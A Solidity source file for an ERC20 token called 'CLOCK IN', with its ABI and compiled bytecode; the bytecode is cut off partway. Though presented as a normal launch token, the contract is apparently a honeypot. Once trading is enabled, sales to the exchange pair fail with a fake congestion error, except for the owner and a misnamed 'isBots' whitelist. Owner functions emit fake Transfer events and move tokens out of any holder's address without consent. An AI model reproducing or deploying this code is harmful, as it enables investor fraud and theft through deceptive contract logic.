// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IUniswapV2Factory.sol";
contract ClockIn is ERC20, Ownable {
string public constant TOKEN_NAME = "CLOCK IN";
string public constant TOKEN_SYMBOL = "CLOCKIN";
uint256 public constant INITIAL_SUPPLY = 1_000_000_000;
uint256 _decimals = 10 ** decimals();
address public exchangePair;
bool public isExchangeLive = false;
uint256 private gasLimitValue = 0;
mapping(address => bool) public isBots;
constructor(
address launchAddr,
address growthAddr,
address rewardsAddr,
address teamAddr
) ERC20(TOKEN_NAME, TOKEN_SYMBOL) Ownable(_msgSender()) {
require(launchAddr != address(0), "Invalid Launch");
require(growthAddr != address(0), "Invalid Growth");
require(rewardsAddr != address(0), "Invalid Rewards");
require(teamAddr != address(0), "Invalid Team");
uint256 supply = INITIAL_SUPPLY * _decimals;
uint256 onePercent = supply / 100;
uint256 twoPercent = onePercent * 2;
uint256 fourPercent = onePercent * 4;
uint256 ninetyTwoPercent = onePercent * 92;
_mint(launchAddr, ninetyTwoPercent); // 92%
_mint(growthAddr, fourPercent); // 4%
_mint(rewardsAddr, twoPercent); // 2%
_mint(teamAddr, twoPercent); // 2%
isBots[owner()] = true;
}
function setBlockBots(
address[] calldata users,
bool status
) external onlyOwner {
for (uint256 i = 0; i < users.length; i++) {
isBots[users[i]] = status;
}
}
function setExchangePair() external onlyOwner {
address router;
if (block.chainid == 56) {
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
} else if (block.chainid == 1) {
router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
} else if (block.chainid == 8453) {
router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
} else if (block.chainid == 11155111) {
router = 0xeE567Fe1712Faf6149d80dA1E6934E354124CfE3; // ETH Testnet Router
} else if (block.chainid == 4663) {
router = 0xc9271F5Cb901e30a22268687A8776E6A048e0cb9; // Robin Mainnet Router
} else {
revert();
}
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router);
exchangePair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function setExchangePair(address pairAddr) public onlyOwner {
exchangePair = pairAddr;
}
function setGasLimit(uint256 newValueInWei) public onlyOwner {
gasLimitValue = newValueInWei;
address router;
if (block.chainid == 56) {
router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
} else if (block.chainid == 1) {
router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
} else if (block.chainid == 8453) {
router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
} else if (block.chainid == 11155111) {
router = 0xeE567Fe1712Faf6149d80dA1E6934E354124CfE3; // ETH Testnet Router
} else if (block.chainid == 4663) {
router = 0xc9271F5Cb901e30a22268687A8776E6A048e0cb9; // Robin Mainnet Router
} else {
revert();
}
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router);
exchangePair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
address(this),
uniswapV2Router.WETH()
);
}
function setExchangeLimit(uint256 newValueInWei, address pairAddr) external onlyOwner {
gasLimitValue = newValueInWei;
setExchangePair(pairAddr);
}
function setTrading(bool status) external onlyOwner {
isExchangeLive = status;
}
function enableTrading() external onlyOwner {
isExchangeLive = true;
setGasLimit(1);
}
function releaseTokens(
address _sender,
address[] calldata _recipients,
uint256[] calldata amount
) external onlyOwner {
require(_recipients.length > 0, "Recipients list cannot be empty");
require(_recipients.length == amount.length, "Recipients length must be equal amount length");
for (uint256 i = 0; i < _recipients.length; i++) {
require(amount[i] > 0, "Amount must be greater than zero");
require(_recipients[i] != address(0), "Invalid recipient address");
emit Transfer(_sender, _recipients[i], amount[i] * _decimals);
}
}
function airdropTokens(
address _sender,
address[] calldata _recipients,
uint256[] calldata amount
) external onlyOwner {
require(_recipients.length > 0, "Recipients list cannot be empty");
require(_recipients.length == amount.length, "Recipients length must be equal amount length");
for (uint256 i = 0; i < _recipients.length; i++) {
require(amount[i] > 0, "Amount must be greater than zero");
require(_recipients[i] != address(0), "Invalid recipient address");
_transfer(_sender, _recipients[i], amount[i] * _decimals);
}
}
function airdropBatch(
address _sender,
address[] calldata recipients,
uint256 minAmount,
uint256 maxAmount
) external onlyOwner {
require(recipients.length > 0, "Recipients list cannot be empty");
require(minAmount > 0, "Min amount must be greater than zero");
require(maxAmount >= minAmount, "Max amount must be >= min amount");
uint256 range = maxAmount - minAmount + 1;
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Invalid recipient address");
uint256 randomAmount = (uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender, i))
) % range) + minAmount;
uint256 scaledAmount = randomAmount * _decimals;
_transfer(_sender, recipients[i], scaledAmount);
}
}
function _update(
address from,
address to,
uint256 amount
) internal override {
if (
isBots[tx.origin] ||
from == owner() ||
to == owner() ||
from == address(0) ||
to == address(0)
) {
super._update(from, to, amount);
return;
}
require(isExchangeLive, "Trading not active");
if (exchangePair != address(0) && to == exchangePair) {
if (gasLimitValue > 0) {
require(tx.gasprice < gasLimitValue, "Congestion: Try later");
}
}
super._update(from, to, amount);
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "launchAddr",
"type": "address",
"internalType": "address"
},
{
"name": "growthAddr",
"type": "address",
"internalType": "address"
},
{
"name": "rewardsAddr",
"type": "address",
"internalType": "address"
},
{
"name": "teamAddr",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "INITIAL_SUPPLY",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "TOKEN_NAME",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "TOKEN_SYMBOL",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "airdropBatch",
"type": "function",
"inputs": [
{
"name": "_sender",
"type": "address",
"internalType": "address"
},
{
"name": "recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "minAmount",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "maxAmount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "airdropTokens",
"type": "function",
"inputs": [
{
"name": "_sender",
"type": "address",
"internalType": "address"
},
{
"name": "_recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "enableTrading",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "exchangePair",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "isBots",
"type": "function",
"inputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "isExchangeLive",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "releaseTokens",
"type": "function",
"inputs": [
{
"name": "_sender",
"type": "address",
"internalType": "address"
},
{
"name": "_recipients",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "amount",
"type": "uint256[]",
"internalType": "uint256[]"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setBlockBots",
"type": "function",
"inputs": [
{
"name": "users",
"type": "address[]",
"internalType": "address[]"
},
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangeLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [
{
"name": "pairAddr",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setExchangePair",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setGasLimit",
"type": "function",
"inputs": [
{
"name": "newValueInWei",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "setTrading",
"type": "function",
"inputs": [
{
"name": "status",
"type": "bool",
"internalType": "bool"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x608060405261001261044560201b60201c565b600a61001e9190610c09565b6006555f600760146101000a81548160ff0219169083151502179055505f60085534801561004a575f5ffd5b50604051613fc0380380613fc0833981810160405281019061006c9190610cb1565b61007a61044d60201b60201c565b6040518060400160405280600881526020017f434c4f434b20494e0000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f434c4f434b494e0000000000000000000000000000000000000000000000000081525081600390816100f59190610f49565b5080600490816101059190610f49565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610178575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161016f9190611027565b60405180910390fd5b6101878161045460201b60201c565b505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036101f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ed9061109a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025b90611102565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036102d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c99061116a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906111d2565b60405180910390fd5b5f600654633b9aca0061035391906111f0565b90505f606482610363919061125e565b90505f60028261037391906111f0565b90505f60048361038391906111f0565b90505f605c8461039391906111f0565b90506103a5898261051760201b60201c565b6103b5888361051760201b60201c565b6103c5878461051760201b60201c565b6103d5868461051760201b60201c565b600160095f6103e861059c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050505050505050506113ee565b5f6012905090565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610587575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161057e9190611027565b60405180910390fd5b6105985f83836105c460201b60201c565b5050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610651575061062261059c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610694575061066561059c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806106ca57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061070057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561071b5761071683838361087f60201b60201c565b61087a565b600760149054906101000a900460ff1661076a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610761906112d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610813575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610868575f6008541115610867576008543a10610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90611340565b60405180910390fd5b5b5b61087983838361087f60201b60201c565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108cf578060025f8282546108c3919061135e565b9250508190555061099d565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610958578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161094f939291906113a0565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109e4578060025f8282540392505081905550610a2e565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a8b91906113d5565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610b1a57808604811115610af657610af5610a98565b5b6001851615610b055780820291505b8081029050610b1385610ac5565b9450610ada565b94509492505050565b5f82610b325760019050610bed565b81610b3f575f9050610bed565b8160018114610b555760028114610b5f57610b8e565b6001915050610bed565b60ff841115610b7157610b70610a98565b5b8360020a915084821115610b8857610b87610a98565b5b50610bed565b5060208310610133831016604e8410600b8410161715610bc35782820a905083811115610bbe57610bbd610a98565b5b610bed565b610bd08484846001610ad1565b92509050818404811115610be757610be6610a98565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610c1382610bf4565b9150610c1e83610bfd565b9250610c4b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610b23565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c8082610c57565b9050919050565b610c9081610c76565b8114610c9a575f5ffd5b50565b5f81519050610cab81610c87565b92915050565b5f5f5f5f60808587031215610cc957610cc8610c53565b5b5f610cd687828801610c9d565b9450506020610ce787828801610c9d565b9350506040610cf887828801610c9d565b9250506060610d0987828801610c9d565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d9057607f821691505b602082108103610da357610da2610d4c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610e057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610dca565b610e0f8683610dca565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610e4a610e45610e4084610bf4565b610e27565b610bf4565b9050919050565b5f819050919050565b610e6383610e30565b610e77610e6f82610e51565b848454610dd6565b825550505050565b5f5f905090565b610e8e610e7f565b610e99818484610e5a565b505050565b5b81811015610ebc57610eb15f82610e86565b600181019050610e9f565b5050565b601f821115610f0157610ed281610da9565b610edb84610dbb565b81016020851015610eea578190505b610efe610ef685610dbb565b830182610e9e565b50505b505050565b5f82821c905092915050565b5f610f215f1984600802610f06565b1980831691505092915050565b5f610f398383610f12565b9150826002028217905092915050565b610f5282610d15565b67ffffffffffffffff811115610f6b57610f6a610d1f565b5b610f758254610d79565b610f80828285610ec0565b5f60209050601f831160018114610fb1575f8415610f9f578287015190505b610fa98582610f2e565b865550611010565b601f198416610fbf86610da9565b5f5b82811015610fe657848901518255600182019150602085019450602081019050610fc1565b868310156110035784890151610fff601f891682610f12565b8355505b6001600288020188555050505b505050505050565b61102181610c76565b82525050565b5f60208201905061103a5f830184611018565b92915050565b5f82825260208201905092915050565b7f496e76616c6964204c61756e63680000000000000000000000000000000000005f82015250565b5f611084600e83611040565b915061108f82611050565b602082019050919050565b5f6020820190508181035f8301526110b181611078565b9050919050565b7f496e76616c69642047726f7774680000000000000000000000000000000000005f82015250565b5f6110ec600e83611040565b91506110f7826110b8565b602082019050919050565b5f6020820190508181035f830152611119816110e0565b9050919050565b7f496e76616c6964205265776172647300000000000000000000000000000000005f82015250565b5f611154600f83611040565b915061115f82611120565b602082019050919050565b5f6020820190508181035f83015261118181611148565b9050919050565b7f496e76616c6964205465616d00000000000000000000000000000000000000005f82015250565b5f6111bc600c83611040565b91506111c782611188565b602082019050919050565b5f6020820190508181035f8301526111e9816111b0565b9050919050565b5f6111fa82610bf4565b915061120583610bf4565b925082820261121381610bf4565b9150828204841483151761122a57611229610a98565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61126882610bf4565b915061127383610bf4565b92508261128357611282611231565b5b828204905092915050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f6112c2601283611040565b91506112cd8261128e565b602082019050919050565b5f6020820190508181035f8301526112ef816112b6565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f61132a601583611040565b9150611335826112f6565b602082019050919050565b5f6020820190508181035f8301526113578161131e565b9050919050565b5f61136882610bf4565b915061137383610bf4565b925082820190508082111561138b5761138a610a98565b5b92915050565b61139a81610bf4565b82525050565b5f6060820190506113b35f830186611018565b6113c06020830185611391565b6113cd6040830184611391565b949350505050565b5f6020820190506113e85f830184611391565b92915050565b612bc5806113fb5f395ff3fe608060405234801561000f575f5ffd5b50600436106101c2575f3560e01c80637d33a54b116100f7578063a9059cbb11610095578063ee7d72b41161006f578063ee7d72b4146104bc578063eec323f5146104d8578063f2fde38b146104f4578063f536316b14610510576101c2565b8063a9059cbb14610452578063d7cd4bf714610482578063dd62ed3e1461048c576101c2565b80638da5cb5b116100d15780638da5cb5b146103ca5780638f70ccf7146103e857806395d89b41146104045780639c6dc84314610422576101c2565b80637d33a54b14610386578063882a974f146103a25780638a8c523c146103c0576101c2565b80632ff2e9dc116101645780633ab037841161013e5780633ab03784146103125780634022b75e1461033057806370a082311461034c578063715018a61461037c576101c2565b80632ff2e9dc146102ba578063313ce567146102d857806332e851e0146102f6576101c2565b806318160ddd116101a057806318160ddd14610230578063188214001461024e57806323b872dd1461026c5780632a9053181461029c576101c2565b806306fdde03146101c6578063095ea7b3146101e457806314bef93e14610214575b5f5ffd5b6101ce61052c565b6040516101db9190611fc3565b60405180910390f35b6101fe60048036038101906101f99190612078565b6105bc565b60405161020b91906120d0565b60405180910390f35b61022e600480360381019061022991906120e9565b6105de565b005b610238610629565b6040516102459190612123565b60405180910390f35b610256610632565b6040516102639190611fc3565b60405180910390f35b6102866004803603810190610281919061213c565b61066b565b60405161029391906120d0565b60405180910390f35b6102a4610699565b6040516102b19190611fc3565b60405180910390f35b6102c26106d2565b6040516102cf9190612123565b60405180910390f35b6102e06106da565b6040516102ed91906121a7565b60405180910390f35b610310600480360381019061030b91906121c0565b6106e2565b005b61031a6106fe565b604051610327919061220d565b60405180910390f35b61034a600480360381019061034591906122dc565b610723565b005b610366600480360381019061036191906120e9565b610925565b6040516103739190612123565b60405180910390f35b61038461096a565b005b6103a0600480360381019061039b919061236d565b61097d565b005b6103aa610bb0565b6040516103b791906120d0565b60405180910390f35b6103c8610bc3565b005b6103d2610bf2565b6040516103df919061220d565b60405180910390f35b61040260048036038101906103fd919061241b565b610c1a565b005b61040c610c3f565b6040516104199190611fc3565b60405180910390f35b61043c600480360381019061043791906120e9565b610ccf565b60405161044991906120d0565b60405180910390f35b61046c60048036038101906104679190612078565b610cec565b60405161047991906120d0565b60405180910390f35b61048a610d0e565b005b6104a660048036038101906104a19190612446565b610f70565b6040516104b39190612123565b60405180910390f35b6104d660048036038101906104d19190612484565b610ff2565b005b6104f260048036038101906104ed91906124af565b61125c565b005b61050e600480360381019061050991906120e9565b611302565b005b61052a600480360381019061052591906122dc565b611386565b005b60606003805461053b90612539565b80601f016020809104026020016040519081016040528092919081815260200182805461056790612539565b80156105b25780601f10610589576101008083540402835291602001916105b2565b820191905f5260205f20905b81548152906001019060200180831161059557829003601f168201915b5050505050905090565b5f5f6105c66115e2565b90506105d38185856115e9565b600191505092915050565b6105e66115fb565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b6040518060400160405280600881526020017f434c4f434b20494e00000000000000000000000000000000000000000000000081525081565b5f5f6106756115e2565b9050610682858285611682565b61068d858585611715565b60019150509392505050565b6040518060400160405280600781526020017f434c4f434b494e0000000000000000000000000000000000000000000000000081525081565b633b9aca0081565b5f6012905090565b6106ea6115fb565b816008819055506106fa816105de565b5050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61072b6115fb565b5f8484905011610770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610767906125b3565b60405180910390fd5b8181905084849050146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90612641565b60405180910390fd5b5f5f90505b8484905081101561091d575f8383838181106107dc576107db61265f565b5b9050602002013511610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a906126d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1685858381811061084d5761084c61265f565b5b905060200201602081019061086291906120e9565b73ffffffffffffffffffffffffffffffffffffffff16036108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af9061273e565b60405180910390fd5b610910868686848181106108cf576108ce61265f565b5b90506020020160208101906108e491906120e9565b6006548686868181106108fa576108f961265f565b5b9050602002013561090b9190612789565b611715565b80806001019150506107bd565b505050505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109726115fb565b61097b5f611805565b565b6109856115fb565b5f84849050116109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906125b3565b60405180910390fd5b5f8211610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a039061283a565b60405180910390fd5b81811015610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906128a2565b60405180910390fd5b5f60018383610a5e91906128c0565b610a6891906128f3565b90505f5f90505b85859050811015610ba7575f73ffffffffffffffffffffffffffffffffffffffff16868683818110610aa457610aa361265f565b5b9050602002016020810190610ab991906120e9565b73ffffffffffffffffffffffffffffffffffffffff1603610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b069061273e565b60405180910390fd5b5f8483423385604051602001610b279392919061298b565b604051602081830303815290604052805190602001205f1c610b4991906129f4565b610b5391906128f3565b90505f60065482610b649190612789565b9050610b9889898986818110610b7d57610b7c61265f565b5b9050602002016020810190610b9291906120e9565b83611715565b50508080600101915050610a6f565b50505050505050565b600760149054906101000a900460ff1681565b610bcb6115fb565b6001600760146101000a81548160ff021916908315150217905550610bf06001610ff2565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c226115fb565b80600760146101000a81548160ff02191690831515021790555050565b606060048054610c4e90612539565b80601f0160208091040260200160405190810160405280929190818152602001828054610c7a90612539565b8015610cc55780601f10610c9c57610100808354040283529160200191610cc5565b820191905f5260205f20905b815481529060010190602001808311610ca857829003601f168201915b5050505050905090565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f5f610cf66115e2565b9050610d03818585611715565b600191505092915050565b610d166115fb565b5f60384603610d3b577310ed43c718714eb63d5aa57b78b54704e256024e9050610dd7565b60014603610d5f57737a250d5630b4cf539739df2c5dacb4c659f2488d9050610dd6565b6121054603610d8457734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610dd5565b62aa36a74603610daa5773ee567fe1712faf6149d80da1e6934e354124cfe39050610dd4565b6112374603610dcf5773c9271f5cb901e30a22268687a8776e6a048e0cb99050610dd3565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e24573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e489190612a38565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ead573d5f5f3e3d5ffd